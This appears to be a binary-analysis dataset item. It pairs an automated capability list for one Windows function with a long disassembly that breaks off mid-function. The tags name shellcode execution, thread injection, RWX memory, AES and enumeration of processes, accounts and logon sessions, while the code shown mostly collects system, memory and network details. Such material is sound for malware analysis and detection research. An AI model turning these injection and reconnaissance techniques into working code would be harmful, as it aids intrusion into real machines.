Function at 0x140001040
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using aes
Enumerate processes via ntquerysysteminformation
Execute shellcode via indirect call
Get disk information
Get local ipv4 addresses
Get logon sessions
Get memory capacity
Get system information on windows
Inject thread
List groups for user account
List user accounts
Reference aes constants
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x7b8
movdqa xmmword [rsp + 0x7a0], xmm8
movdqa xmmword [rsp + 0x790], xmm7
movdqa xmmword [rsp + 0x780], xmm6
lea rsi, [rsp + 0x108]
mov qword [rsi], 1
pxor xmm0, xmm0
movdqu xmmword [rsi + 8], xmm0
mov eax, 1
xor edi, edi
lea rbx, [0x14002464f]
xor edx, edx
cmp rdi, 0x120
je 0x1400010e2
mov bpl, byte [rdi + rbx]
cmp rdx, qword [rsp + 0x110]
jne 0x1400010c6
mov rcx, rsi
call fcn.140004e9c
mov rax, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x118]
mov byte [rax + rdx], bpl
mov rdx, qword [rsp + 0x118]
inc rdx
mov qword [rsp + 0x118], rdx
inc rdi
jmp 0x140001097
mov qword [rsp + 0x188], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x190], xmm0
call fcn.140012016
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x60], rdx
lea rbx, [rsp + 0x3c0]
mov edx, 0x158
mov r8d, 0x1f4
mov rcx, rbx
call fcn.140011b18
mov rsi, qword [rbx]
test rsi, rsi
je 0x140001151
mov rax, qword [rsp + 0x3c8]
mov qword [rsp + 0x58], rax
mov rdi, qword [rsp + 0x3d0]
mov rax, qword [rsp + 0x3d8]
mov qword [rsp + 0x50], rax
jmp 0x140001166
mov rax, qword [rsp + 0x3c8]
mov qword [rsp + 0x58], rax
mov rdi, qword [rsp + 0x3d0]
mov ecx, 9
call fcn.140004fd0
mov r14, rax
mov r15, rdx
movabs rax, 0x5043206c61746f54
mov qword [r14], rax
mov byte [r14 + 8], 0x55
mov ecx, 8
mov edx, 0x120
call fcn.140004e94
test rax, rax
je 0x140004805
mov rbx, rax
movabs rbp, 0x19db1ded53e8000
call fcn.140012016
mov r12, rax
mov r13, rdx
call fcn.14000c637
shl rdx, 0x20
mov eax, eax
or rax, rdx
movabs rcx, 0xfe624e212ac18000
cmp rax, rbp
jge 0x1400011d9
xor ebp, ebp
jmp 0x140001204
add rax, rcx
mov ecx, 0x989680
xor edx, edx
div rcx
mov rbp, rax
call sub.kernel32.dll_GetTickCount64
mov ecx, 0x3e8
xor edx, edx
div rcx
sub rbp, rax
mov eax, 0
cmovb rbp, rax
mov rcx, qword [rsp + 0x50]
pxor xmm6, xmm6
movdqu xmmword [rsp + 0x4c0], xmm6
mov qword [rsp + 0x400], rsi
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x408], rax
mov qword [rsp + 0x410], rdi
mov qword [rsp + 0x418], rcx
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x420], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x428], rax
movdqu xmmword [rsp + 0x460], xmm6
movdqu xmmword [rsp + 0x470], xmm6
mov qword [rsp + 0x4d0], r14
mov qword [rsp + 0x4d8], r15
mov qword [rsp + 0x4e0], 9
mov eax, 1
mov qword [rsp + 0x4e8], rax
movdqu xmmword [rsp + 0x4f0], xmm6
mov qword [rsp + 0x500], rax
and qword [rsp + 0x518], 0
movdqu xmmword [rsp + 0x508], xmm6
and qword [rsp + 0x530], 0
and dword [rsp + 0x538], 0
mov eax, 8
mov qword [rsp + 0x540], rax
movdqu xmmword [rsp + 0x548], xmm6
mov byte [rsp + 0x558], 0
mov qword [rsp + 0x488], rax
movdqu xmmword [rsp + 0x490], xmm6
mov qword [rsp + 0x4a0], rbx
mov qword [rsp + 0x4a8], 2
and qword [rsp + 0x4b0], 0
and qword [rsp + 0x3c0], 0
lea r14, [0x140027130]
mov qword [rsp + 0x430], r14
and qword [rsp + 0x448], 0
movdqu xmmword [rsp + 0x438], xmm6
mov qword [rsp + 0x450], r12
mov qword [rsp + 0x458], r13
mov qword [rsp + 0x480], rbp
mov qword [rsp + 0x4b8], rax
lea rsi, [rsp + 0x5b0]
movdqa xmmword [rsi], xmm6
movdqa xmmword [rsi + 0x30], xmm6
movdqa xmmword [rsi + 0x20], xmm6
movdqa xmmword [rsi + 0x10], xmm6
mov dword [rsi], 0x40
mov rcx, rsi
call sub.kernel32.dll_GlobalMemoryStatusEx
movdqu xmm0, xmmword [rsi + 8]
movdqu xmmword [rsp + 0x460], xmm0
lea rcx, [rsp + 0x1a0]
movdqa xmmword [rcx + 0x50], xmm6
movdqa xmmword [rcx + 0x40], xmm6
movdqa xmmword [rcx + 0x30], xmm6
movdqa xmmword [rcx + 0x20], xmm6
movdqa xmmword [rcx + 0x10], xmm6
movdqa xmmword [rcx], xmm6
and qword [rcx + 0x60], 0
mov edx, 0x68
call sub.psapi.dll_GetPerformanceInfo
cmp eax, 1
jne 0x140001429
mov rdx, qword [rsp + 0x1b0]
mov r9, qword [rsp + 0x1c0]
xor r10d, r10d
sub rdx, r9
cmovb rdx, r10
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
mul rdx
mov r8, rax
mov r11, 0xffffffffffffffff
cmovo r8, r11
mov rdx, qword [rsp + 0x1a8]
sub rdx, r9
cmovb rdx, r10
mov rax, rcx
mul rdx
cmovo rax, r11
mov qword [rsp + 0x470], r8
mov qword [rsp + 0x478], rax
lea rax, [rsp + 0x4d0]
cmp qword [rax - 0x110], 0
jne 0x14000169c
lea r8, [rsp + 0x5b0]
and qword [r8], 0
xor esi, esi
xor ecx, ecx
xor edx, edx
call sub.pdh.dll_PdhOpenQueryA
mov edi, eax
test eax, eax
je 0x14000145e
jmp 0x14000147b
mov rbx, qword [rsp + 0x5b0]
call fcn.140012016
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
mov rsi, r14
and qword [rsp + 0x3c8], 0
and qword [rsp + 0x3f8], 0
mov qword [rsp + 0x3c0], rsi
movdqa xmm0, xmmword [rsp + 0x1a0]
movdqu xmmword [rsp + 0x3d0], xmm0
mov qword [rsp + 0x3e0], rax
mov qword [rsp + 0x3e8], rdx
mov qword [rsp + 0x3f0], rbx
test edi, edi
jne 0x140001693
mov ecx, 0x23
call fcn.140004fd0
movups xmm0, xmmword [0x14002731f]
movups xmmword [rax], xmm0
movdqu xmm0, xmmword [0x14002732f]
movdqu xmmword [rax + 0x10], xmm0
mov dword [rax + 0x1f], 0x656d6954
mov qword [rsp + 0x5b0], rax
mov qword [rsp + 0x5b8], rdx
mov qword [rsp + 0x5c0], 0x23
lea r14, [rsp + 0x518]
mov ecx, 5
call fcn.140004fd0
mov dword [rax], 0x5f746f74
mov byte [rax + 4], 0x30
lea r9, [rsp + 0x1a0]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 5
lea rdx, [rsp + 0x3c0]
lea rcx, [rsp + 0x5b0]
mov r8, r14
call fcn.14001300a
lea rcx, [rsp + 0x4d0]
mov dl, 1
call fcn.14001333f
mov r14, rax
mov qword [rsp + 0x60], rdx
xor eax, eax
mov qword [rsp + 0x48], rax
mov edi, 2
mov r12d, 1
cmp r14, qword [rsp + 0x60]
je 0x140001684
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x120], rax
inc rax
mov qword [rsp + 0x48], rax
lea rax, [0x140027360]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], rdi
and qword [rsp + 0x1c0], 0
lea rbx, [rsp + 0x120]
mov qword [rsp + 0x5b0], rbx
lea rsi, [0x140005cba]
mov qword [rsp + 0x5b8], rsi
lea rbp, [rsp + 0x5b0]
mov qword [rsp + 0x1b0], rbp
mov qword [rsp + 0x1b8], r12
lea r13, [rsp + 0x2f0]
mov rcx, r13
lea r15, [rsp + 0x1a0]
mov rdx, r15
call fcn.14000cfe8
lea rax, [0x140027388]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], rdi
and qword [rsp + 0x1c0], 0
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], rsi
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], r12
mov rcx, rbp
mov rdx, r15
call fcn.14000cfe8
lea r8, [r14 + 0x48]
mov rcx, r13
lea rdx, [rsp + 0x3c0]
mov r9, rbp
call fcn.14001300a
add r14, 0x70
jmp 0x14000157f
mov rsi, qword [rsp + 0x3c0]
lea r14, [0x140027130]
test rsi, rsi
je 0x1400017b0
mov rcx, qword [rsp + 0x3f0]
call sub.pdh.dll_PdhCollectQueryData
cmp qword [rsp + 0x518], 0
je 0x1400016da
lea rdx, [rsp + 0x518]
lea rcx, [rsp + 0x3c0]
call fcn.140013361
test eax, eax
je 0x140004801
movd dword [rsp + 0x538], xmm0
lea rcx, [rsp + 0x4d0]
mov dl, 1
call fcn.14001333f
mov rsi, rax
mov rdi, rdx
add rsi, 0x48
lea rbx, [rsp + 0x3c0]
lea rax, [rsi - 0x48]
cmp rax, rdi
je 0x140001728
cmp qword [rsi], 0
je 0x140001722
mov rcx, rbx
mov rdx, rsi
call fcn.140013361
test eax, eax
je 0x140004801
movd dword [rsi + 0x20], xmm0
add rsi, 0x70
jmp 0x1400016fb
cmp byte [rsp + 0x558], 0
jne 0x1400017b0
mov rsi, qword [rsp + 0x550]
lea rdi, [rsp + 0x1a0]
mov rcx, rdi
mov rdx, rsi
call fcn.140012874
mov rbx, qword [rsp + 0x540]
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
mov rax, qword [rdi + 0x10]
shl rax, 3
imul r8, rsi, 0x70
xor r9d, r9d
mov r10, rbx
test r8, r8
je 0x14000178e
cmp rax, r9
je 0x14000178e
mov r11, qword [rcx + r9]
mov qword [r10 + 0x60], r11
add r10, 0x70
add r9, 8
add r8, 0xffffffffffffff90
jmp 0x14000176e
call fcn.14001126b
test rsi, rsi
je 0x14000179e
mov rax, qword [rbx + 0x60]
jmp 0x1400017a0
xor eax, eax
mov qword [rsp + 0x530], rax
mov byte [rsp + 0x558], 1
lea rsi, [rsp + 0x5b0]
mov rcx, rsi
call fcn.140012ad3
cmp dword [rsi], 2
je 0x1400019fa
mov rax, qword [rsp + 0x5e0]
lea rdx, [rsp + 0x1a0]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x5b0]
movups xmm1, xmmword [rsp + 0x5c0]
movups xmm2, xmmword [rsp + 0x5d0]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x2f0]
mov rcx, rsi
call fcn.140012aff
cmp qword [rsi], 2
je 0x1400019fa
mov rax, qword [rsp + 0x320]
lea rdx, [rsp + 0x1a0]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movups xmm2, xmmword [rsp + 0x310]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0xd0]
mov rcx, rsi
call fcn.140012b79
cmp qword [rsi], 2
je 0x1400019fa
mov rax, qword [rsp + 0x100]
lea rdx, [rsp + 0x1a0]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0xd0]
movups xmm1, xmmword [rsp + 0xe0]
movups xmm2, xmmword [rsp + 0xf0]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x120]
mov rcx, rsi
call fcn.140012c0f
cmp qword [rsi], 2
je 0x1400019fa
mov rax, qword [rsp + 0x150]
lea rdx, [rsp + 0x1a0]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x120]
movups xmm1, xmmword [rsp + 0x130]
movups xmm2, xmmword [rsp + 0x140]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x380]
mov rcx, rsi
call fcn.140012cd9
cmp qword [rsi], 2
je 0x1400019fa
mov rax, qword [rsp + 0x3b0]
lea rdx, [rsp + 0x1a0]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x380]
movups xmm1, xmmword [rsp + 0x390]
movups xmm2, xmmword [rsp + 0x3a0]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x710]
mov rcx, rsi
call fcn.140012d56
mov rax, qword [rsi]
cmp rax, 2
je 0x1400019fa
movups xmm0, xmmword [rsp + 0x718]
movups xmm1, xmmword [rsp + 0x728]
movups xmm2, xmmword [rsp + 0x738]
lea rsi, [rsp + 0x748]
movups xmmword [rsi + 0x28], xmm2
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 8], xmm0
mov qword [rsi], rax
lea rdi, [rsp + 0x2f0]
mov rcx, rdi
mov rdx, rsi
mov r8b, 1
call fcn.140012e35
mov rax, qword [rsi + 0x30]
mov qword [rsp + 0x1d0], rax
movdqu xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movaps xmmword [rsp + 0x1c0], xmm2
movaps xmmword [rsp + 0x1b0], xmm1
movdqa xmmword [rsp + 0x1a0], xmm0
mov ebp, dword [rdi + 4]
cmp ebp, 2
jne 0x14000470e
lea rcx, [rsp + 0x1a0]
call fcn.1400118a0
mov esi, 8
xor edi, edi
mov rcx, qword [rsp + 0x488]
mov rdx, qword [rsp + 0x498]
call fcn.140011862
mov rcx, qword [rsp + 0x488]
mov rdx, qword [rsp + 0x490]
call fcn.14001191c
mov qword [rsp + 0x488], rsi
mov qword [rsp + 0x490], rdi
mov qword [rsp + 0x498], rdi
lea rcx, [rsp + 0xd0]
and qword [rcx], 0
call sub.iphlpapi.dll_GetIfTable2
test eax, eax
jne 0x1400027f4
lea r8, [rsp + 0x450]
mov rax, qword [r8 - 0x20]
mov rcx, qword [r8 - 0x18]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
not edx
mov r8, qword [r8 - 8]
lea rsi, [rsp + 0x1a0]
mov qword [rsi], rax
add rax, 0x10
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rcx
mov word [rsi + 0x18], dx
mov qword [rsi + 0x20], r8
mov rcx, rsi
call fcn.140011a3f
test rax, rax
je 0x140001ab2
mov byte [rdx + 0x6e], 0
jmp 0x140001a9f
call fcn.140012016
pxor xmm0, xmm0
lea rcx, [rsp + 0x1c0]
movdqu xmmword [rcx - 0x10], xmm0
mov qword [rcx - 0x20], r14
and qword [rcx - 0x18], 0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
lea rax, [rsp + 0x2f0]
mov qword [rax], 8
movdqu xmmword [rax + 8], xmm0
mov r12, qword [rsp + 0xd0]
mov eax, dword [r12]
add r12, 8
lea r15, [rsp + 0x5b0]
pcmpeqd xmm6, xmm6
xor ecx, ecx
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x50], rax
cmp rcx, rax
je 0x140001def
mov rsi, rcx
inc rcx
imul rdi, rsi, 0x548
cmp qword [r12 + rdi + 0x4a8], 0
jne 0x140001b40
cmp qword [r12 + rdi + 0x4b0], 0
je 0x140001b14
cmp dword [r12 + rdi + 0x48c], 2
je 0x140001b14
cmp dword [r12 + rdi + 0x420], 0
je 0x140001b14
mov qword [rsp + 0x60], rcx
mov ecx, 0x14
mov edx, 2
call fcn.14000befe
mov r13, rax
mov eax, dword [r12 + rdi + 0x10]
movzx ecx, byte [r12 + rdi + 0x14]
movzx edx, byte [r12 + rdi + 0x15]
movzx r8d, byte [r12 + rdi + 0x16]
movzx r9d, byte [r12 + rdi + 0x17]
movzx r10d, byte [r12 + rdi + 0x18]
movzx r11d, byte [r12 + rdi + 0x19]
movzx ebx, byte [r12 + rdi + 0x1a]
movzx edi, byte [r12 + rdi + 0x1b]
mov dword [r13], eax
mov word [r13 + 4], cx
mov word [r13 + 6], dx
mov word [r13 + 8], r8w
mov word [r13 + 0xa], r9w
mov word [r13 + 0xc], r10w
mov word [r13 + 0xe], r11w
mov word [r13 + 0x10], bx
mov word [r13 + 0x12], di
mov ecx, 0xa
xor edx, edx
call fcn.14000a0ee
mov rdi, rax
mov qword [rsp + 0x58], rdx
movups xmm0, xmmword [r13]
movups xmmword [rax], xmm0
mov eax, dword [r13 + 0x10]
mov dword [rdi + 0x10], eax
mov rcx, qword [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1c8]
mov r9d, 0xa
mov r8, rdi
call fcn.140011282
mov r14, qword [rsp + 0x1a0]
mov rbx, qword [rsp + 0x1a8]
mov r12, rbx
and r12, rax
mov qword [rsp + 0x70], rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x48], rax
movdqu xmm8, xmmword [r14 + r12]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x5b0], ax
mov rcx, r15
call fcn.14000da7f
test rax, rax
je 0x140001c9b
add rdx, r12
and rdx, rbx
shl rdx, 5
mov rbp, r14
sub rbp, rdx
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x10]
mov r9d, 0xa
mov r8, rdi
call fcn.1400113ae
test al, al
je 0x140001c62
jmp 0x140001cc7
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x140001d5d
mov rax, qword [rsp + 0x48]
add r12, rax
add r12, 0x10
add rax, 0x10
mov qword [rsp + 0x48], rax
and r12, rbx
jmp 0x140001c47
mov rcx, rdi
mov rdx, qword [rsp + 0x58]
call fcn.14000a5b8
mov r12, qword [rsp + 0x78]
mov eax, dword [rbp - 8]
inc eax
mov dword [rbp - 8], eax
cmp eax, 1
jle 0x140001cf5
mov edx, 0xa
mov rcx, r13
call fcn.14000a5b8
jmp 0x140001d4e
mov rdx, qword [rsp + 0x300]
cmp rdx, qword [rsp + 0x2f8]
jne 0x140001d1c
lea rcx, [rsp + 0x2f0]
call fcn.140011658
mov rdx, qword [rsp + 0x300]
mov rax, qword [rsp + 0x2f0]
mov rcx, rdx
shl rcx, 5
mov dword [rax + rcx], esi
mov qword [rax + rcx + 8], r13
mov r8d, 0xa
mov qword [rax + rcx + 0x10], r8
mov qword [rax + rcx + 0x18], r8
inc rdx
mov qword [rsp + 0x300], rdx
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
jmp 0x140001b14
cmp qword [rsp + 0x1b0], 0
je 0x140001dc5
mov rcx, r14
mov rdx, rbx
mov r8, qword [rsp + 0x70]
call fcn.140011a5f
mov rcx, qword [rsp + 0x1a0]
shl rax, 5
mov rbp, rcx
and dl, 1
neg dl
movsx rdx, dl
add qword [rsp + 0x1b0], rdx
sub rbp, rax
neg rax
mov qword [rcx + rax - 0x20], rdi
mov rax, qword [rsp + 0x58]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], 0xa
and dword [rbp - 8], 0
inc qword [rsp + 0x1b8]
jmp 0x140001cd4
lea rcx, [rsp + 0x1a0]
lea rdx, [rsp + 0x1c0]
call fcn.140022c55
mov r14, qword [rsp + 0x1a0]
mov rbx, qword [rsp + 0x1a8]
jmp 0x140001d68
mov rax, qword [rsp + 0x2f0]
mov rcx, qword [rsp + 0x2f8]
mov qword [rsp + 0xb8], rcx
mov rdi, qword [rsp + 0x300]
shl rdi, 5
add rdi, rax
lea r13, [rsp + 0x5b0]
pcmpeqd xmm6, xmm6
mov qword [rsp + 0xb0], rax
mov r14, rax
mov qword [rsp + 0x70], rdi
mov rsi, r14
cmp r14, rdi
je 0x140002354
lea r14, [rsi + 0x20]
mov rbp, qword [rsi + 8]
test rbp, rbp
je 0x140002351
mov r15, qword [rsi + 0x10]
mov edx, dword [rsi]
cmp qword [rsp + 0x1b8], 0
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x60], r15
je 0x140001f5c
mov qword [rsp + 0x50], rdx
mov rsi, qword [rsi + 0x18]
mov rcx, qword [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1c8]
mov r8, rbp
mov r9, rsi
call fcn.140011282
mov r14, qword [rsp + 0x1a0]
mov rdi, qword [rsp + 0x1a8]
mov r15, rdi
and r15, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x58], rax
movdqu xmm8, xmmword [r14 + r15]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x5b0], ax
mov rcx, r13
call fcn.14000da7f
test rax, rax
je 0x140001f16
add rdx, r15
and rdx, rdi
shl rdx, 5
mov rbx, r14
sub rbx, rdx
mov r8, qword [rbx - 0x20]
mov r9, qword [rbx - 0x10]
mov rcx, rbp
mov rdx, rsi
call fcn.1400113ae
test al, al
je 0x140001ee0
jmp 0x140001f42
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x1400021ab
mov rax, qword [rsp + 0x58]
add r15, rax
add r15, 0x10
add rax, 0x10
mov qword [rsp + 0x58], rax
and r15, rdi
jmp 0x140001ec5
add rbx, 0xffffffffffffffe0
mov rdi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x48]
mov r15, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x50]
jmp 0x140001f5e
xor ebx, ebx
lea rax, [rbx + 0x18]
test rbx, rbx
lea rcx, [0x14002729c]
cmove rax, rcx
cmp dword [rax], 1
jg 0x14000219b
imul rbx, rdx, 0x548
lea rax, [r12 + rbx]
lea rdx, [r12 + rbx]
add rdx, 0x1c
xor r8d, r8d
mov qword [rsp + 0x80], rax
cmp r8, 0x101
je 0x140001fad
cmp word [rdx + r8*2], 0
je 0x140001fb5
inc r8
jmp 0x140001f97
mov r8d, 0x101
jmp 0x140001fc2
cmp r8, 0x102
jae 0x140004801
mov rcx, r13
call fcn.140005181
mov rsi, qword [rsp + 0x5b0]
test rsi, rsi
je 0x14000219b
mov qword [rsp + 0x50], rbx
mov rax, qword [rsp + 0x5b8]
mov qword [rsp + 0x88], rax
mov rbx, qword [rsp + 0x5c0]
mov rcx, qword [rsp + 0x450]
mov rdx, qword [rsp + 0x458]
mov r8, rsi
mov r9, rbx
call fcn.140011318
mov r15, qword [rsp + 0x430]
mov r14, qword [rsp + 0x438]
mov rdi, r14
and rdi, rax
mov qword [rsp + 0xc0], rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x58], rax
movdqu xmm8, xmmword [r15 + rdi]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x5b0], ax
mov rcx, r13
call fcn.14000da7f
test rax, rax
je 0x1400020a4
add rdx, rdi
and rdx, r14
neg rdx
imul r12, rdx, 0x88
mov rcx, qword [r15 + r12 - 0x88]
mov rdx, qword [r15 + r12 - 0x78]
mov r8, rsi
mov r9, rbx
call fcn.140005e5f
test al, al
je 0x140002069
jmp 0x1400020d3
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x1400021b2
mov rax, qword [rsp + 0x58]
add rdi, rax
add rdi, 0x10
add rax, 0x10
mov qword [rsp + 0x58], rax
and rdi, r14
jmp 0x14000204e
add r15, r12
mov rax, qword [r15 - 0x68]
mov rcx, qword [r15 - 0x58]
mov qword [r15 - 0x60], rax
mov r12, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x50]
mov rax, qword [r12 + rdx + 0x500]
mov qword [r15 - 0x68], rax
mov qword [r15 - 0x50], rcx
mov rax, qword [r12 + rdx + 0x4b8]
mov qword [r15 - 0x58], rax
mov rax, qword [r15 - 0x48]
mov qword [r15 - 0x40], rax
mov rax, qword [r12 + rdx + 0x4c0]
add rax, qword [r12 + rdx + 0x4c8]
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov qword [r15 - 0x48], rax
mov rax, qword [r15 - 0x38]
mov qword [r15 - 0x30], rax
mov rax, qword [r12 + rdx + 0x508]
add rax, qword [r12 + rdx + 0x510]
cmovb rax, rcx
mov qword [r15 - 0x38], rax
mov rax, qword [r15 - 0x28]
mov qword [r15 - 0x20], rax
mov rax, qword [r12 + rdx + 0x4d8]
mov qword [r15 - 0x28], rax
mov rax, qword [r15 - 0x18]
mov qword [r15 - 0x10], rax
mov rax, qword [r12 + rdx + 0x520]
mov qword [r15 - 0x18], rax
mov byte [r15 - 2], 1
mov rcx, rsi
mov rdx, qword [rsp + 0x88]
call fcn.140004eb7
mov rdi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x48]
mov r15, qword [rsp + 0x60]
mov rcx, rbp
mov rdx, r15
call fcn.14000a5b8
jmp 0x140001e32
xor ebx, ebx
jmp 0x140001f46
cmp qword [rsp + 0x440], 0
je 0x140002327
mov r12, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [r12 + rcx + 0x4c0]
add rdx, qword [r12 + rcx + 0x4c8]
mov rax, qword [r12 + rcx + 0x4b8]
mov qword [rsp + 0x58], rax
mov rax, 0xffffffffffffffff
cmovb rdx, rax
mov qword [rsp + 0xa8], rdx
mov rdi, qword [r12 + rcx + 0x508]
add rdi, qword [r12 + rcx + 0x510]
cmovb rdi, rax
mov rax, qword [rsp + 0x80]
mov rax, qword [rax]
mov qword [rsp + 0xa0], rax
mov rax, qword [r12 + rcx + 0x500]
mov qword [rsp + 0x98], rax
mov rax, qword [r12 + rcx + 0x4d8]
mov qword [rsp + 0x80], rax
mov rax, qword [r12 + rcx + 0x520]
mov qword [rsp + 0x50], rax
mov rcx, r15
mov rdx, r14
mov r8, qword [rsp + 0xc0]
call fcn.140011a5f
mov rcx, qword [rsp + 0x430]
neg rax
and dl, 1
neg dl
movsx rdx, dl
add qword [rsp + 0x440], rdx
imul rax, rax, 0x88
mov qword [rcx + rax - 0x88], rsi
mov rdx, qword [rsp + 0x88]
mov qword [rcx + rax - 0x80], rdx
mov qword [rcx + rax - 0x78], rbx
mov rdx, qword [rsp + 0xa0]
mov qword [rcx + rax - 0x70], rdx
mov rdx, qword [rsp + 0x98]
mov qword [rcx + rax - 0x68], rdx
mov qword [rcx + rax - 0x60], rdx
mov rdx, qword [rsp + 0x58]
mov qword [rcx + rax - 0x58], rdx
mov qword [rcx + rax - 0x50], rdx
mov rdx, qword [rsp + 0xa8]
mov qword [rcx + rax - 0x48], rdx
mov qword [rcx + rax - 0x40], rdx
mov qword [rcx + rax - 0x38], rdi
mov qword [rcx + rax - 0x30], rdi
mov rdx, qword [rsp + 0x80]
mov qword [rcx + rax - 0x28], rdx
mov qword [rcx + rax - 0x20], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rcx + rax - 0x18], rdx
mov qword [rcx + rax - 0x10], rdx
and dword [rcx + rax - 8], 0
and word [rcx + rax - 4], 0
mov byte [rcx + rax - 2], 1
inc qword [rsp + 0x448]
jmp 0x14000218c
lea rcx, [rsp + 0x430]
lea rdx, [rsp + 0x450]
call fcn.14002295e
mov r15, qword [rsp + 0x430]
mov r14, qword [rsp + 0x438]
jmp 0x1400021c1
mov rsi, r14
sub rdi, rsi
shr rdi, 5
add rsi, 0x10
sub rdi, 1
jb 0x140002377
mov rcx, qword [rsi - 8]
mov rdx, qword [rsi]
call fcn.14000a5b8
add rsi, 0x20
jmp 0x14000235f
mov r8, qword [rsp + 0xb8]
test r8, r8
je 0x14000239a
shl r8, 5
mov edx, 8
mov rcx, qword [rsp + 0xb0]
call fcn.14000721a
mov rcx, qword [rsp + 0xd0]
call sub.iphlpapi.dll_FreeMibTable
mov rdx, qword [rsp + 0x1a8]
test rdx, rdx
je 0x1400024a2
mov rcx, qword [rsp + 0x1a0]
mov rax, qword [rsp + 0x1b8]
test rax, rax
je 0x140002497
add rdx, rcx
inc rdx
movdqa xmm0, xmmword [rcx]
pmovmskb r8d, xmm0
not r8d
lea rsi, [rsp + 0x5c8]
mov qword [rsi - 0x18], rcx
add rcx, 0x10
mov qword [rsi - 0x10], rcx
mov qword [rsi - 8], rdx
mov word [rsi], r8w
mov qword [rsi + 8], rax
mov edi, 1
test rdi, rdi
je 0x140002487
mov rcx, rsi
call fcn.14000da7f
cmp rax, 1
je 0x14000244f
mov rax, qword [rsp + 0x5b8]
movdqa xmm0, xmmword [rax]
pmovmskb ecx, xmm0
not ecx
mov word [rsp + 0x5c8], cx
add qword [rsp + 0x5b0], 0xfffffffffffffe00
add rax, 0x10
mov qword [rsp + 0x5b8], rax
jmp 0x14000240d
shl rdx, 5
mov rax, qword [rsp + 0x5b0]
mov rdi, qword [rsp + 0x5d0]
mov rcx, rax
sub rcx, rdx
dec rdi
mov qword [rsp + 0x5d0], rdi
mov rcx, qword [rcx - 0x20]
neg rdx
mov rdx, qword [rax + rdx - 0x18]
call fcn.14000a5b8
jmp 0x140002408
mov rcx, qword [rsp + 0x1a0]
mov rdx, qword [rsp + 0x1a8]
mov r8d, 0x20
call fcn.140011958
mov rax, qword [rsp + 0x430]
mov rcx, qword [rsp + 0x438]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
